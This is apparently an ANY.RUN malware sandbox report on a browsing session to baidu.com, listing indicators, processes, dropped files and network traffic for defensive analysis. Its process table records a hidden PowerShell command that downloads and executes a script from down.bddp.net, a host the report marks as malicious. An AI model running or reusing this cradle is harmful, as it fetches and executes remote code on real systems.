analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
URL:

https://www.baidu.com

Full analysis: https://app.any.run/tasks/bd187a44-02da-4031-a374-aeb29d907116
Verdict: Malicious activity
Analysis date: September 19, 2019, 02:18:02
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MD5:

F9751DE431104B125F48DD79CC55822A

SHA1:

354ABE0FCCB2FB8CF553B6EEF2CE24B2F3DB80D1

SHA256:

BC5C3283CAE3C6567656B6A52BD8B31A806DA655336169B611AD9AB790581364

SSDEEP:

3:N8DSLkA:2OLkA

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    No malicious indicators.
  • SUSPICIOUS

    • PowerShell script executed

      • powershell.exe (PID: 3960)
    • Creates files in the user directory

      • powershell.exe (PID: 3960)
      • powershell.exe (PID: 2184)
    • Application launched itself

      • powershell.exe (PID: 3960)
    • Executes PowerShell scripts

      • powershell.exe (PID: 3960)
  • INFO

    • Changes internet zones settings

      • iexplore.exe (PID: 2744)
    • Application launched itself

      • iexplore.exe (PID: 2744)
    • Creates files in the user directory

      • iexplore.exe (PID: 3072)
      • iexplore.exe (PID: 2744)
    • Reads internet explorer settings

      • iexplore.exe (PID: 3072)
    • Reads Internet Cache Settings

      • iexplore.exe (PID: 3072)
    • Reads settings of System Certificates

      • iexplore.exe (PID: 2744)
    • Manual execution by user

      • powershell.exe (PID: 3960)
      • taskmgr.exe (PID: 2272)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
38
Monitored processes
5
Malicious processes
0
Suspicious processes
1

Behavior graph

Click at the process to see the details
start iexplore.exe iexplore.exe powershell.exe no specs powershell.exe taskmgr.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2744"C:\Program Files\Internet Explorer\iexplore.exe" -nohomeC:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3072"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2744 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3960"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2184"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://down.bddp.net/d64.dat'))"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2272"C:\Windows\system32\taskmgr.exe" /4C:\Windows\system32\taskmgr.exeexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Task Manager
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
863
Read events
654
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
4
Text files
31
Unknown types
8

Dropped files

PID
Process
Filename
Type
2744iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\LH043OAM\favicon[1].ico
MD5:
SHA256:
2744iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico
MD5:
SHA256:
3072iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@baidu[2].txt
MD5:
SHA256:
3072iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.datdat
MD5:80F35983B09B8C4A9E9B968712A86C23
SHA256:05B36631A095DAA52B4A22BD5B49669338D6632E0CC26E2C6DF8245D61E17AF0
3072iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.datdat
MD5:66DC40A36D240DB2AEBA4919EF8E4803
SHA256:A0D9BAB2685963C526C01FC5577C433FB5234D1A04FF35CD85644B53900FD556
3072iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\U8JHG697\www.baidu[1].xmltext
MD5:1959946437B426ACB303F9C297AB304A
SHA256:2C5C9CD049E49FFD6F2D74457E8FEBDE98CE7F014AE7E1CC3082617A3D5538E9
3072iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\DOMStore\index.datdat
MD5:F5337B02DEF525C174310664DB71FEE5
SHA256:F71061705A0548049AC14142CDA3A1D0FDB227063801F73764781DC5FE42BB88
3072iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.datdat
MD5:AAAB5B42F58DA16065A4D0DE09D2E2B7
SHA256:E92F20FBAF7EB881C1E3DAE5518B972F5A511A2A97390DDC3408896416187557
3072iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@baidu[1].txttext
MD5:4E25B96F7BD86C77AFED5F58479DB3C2
SHA256:FFE22988D77B0DAC281C320252AA8B80B15BDCA022D1C91D81334F206F6D42F5
3072iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\L4Y2C1MU\baidu_com[1].htmhtml
MD5:85E765368A895806DFC75BC45514CFB4
SHA256:76875BA9DCD61B119EE0B2D6CEB78153A73E526254E36D9BBBF2329AAE226555
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
12
DNS requests
5
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2184
powershell.exe
GET
200
178.128.92.192:80
http://down.bddp.net/d64.dat
GR
text
1.06 Mb
malicious
2744
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3072
iexplore.exe
103.235.46.39:443
www.baidu.com
Beijing Baidu Netcom Science and Technology Co., Ltd.
HK
unknown
2744
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
3072
iexplore.exe
185.10.104.110:443
ss1.bdstatic.com
unknown
2744
iexplore.exe
103.235.46.39:443
www.baidu.com
Beijing Baidu Netcom Science and Technology Co., Ltd.
HK
unknown
2184
powershell.exe
178.128.92.192:80
down.bddp.net
Forthnet
GR
malicious
3072
iexplore.exe
104.193.88.123:443
m.baidu.com
Beijing Baidu Netcom Science and Technology Co., Ltd.
US
malicious

DNS requests

Domain
IP
Reputation
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
www.baidu.com
  • 103.235.46.39
whitelisted
ss1.bdstatic.com
  • 185.10.104.110
whitelisted
m.baidu.com
  • 104.193.88.123
  • 104.193.88.77
unknown
down.bddp.net
  • 178.128.92.192
malicious

Threats

PID
Process
Class
Message
2184
powershell.exe
Potentially Bad Traffic
ET WEB_CLIENT Obfuscated Javascript // ptth
No debug info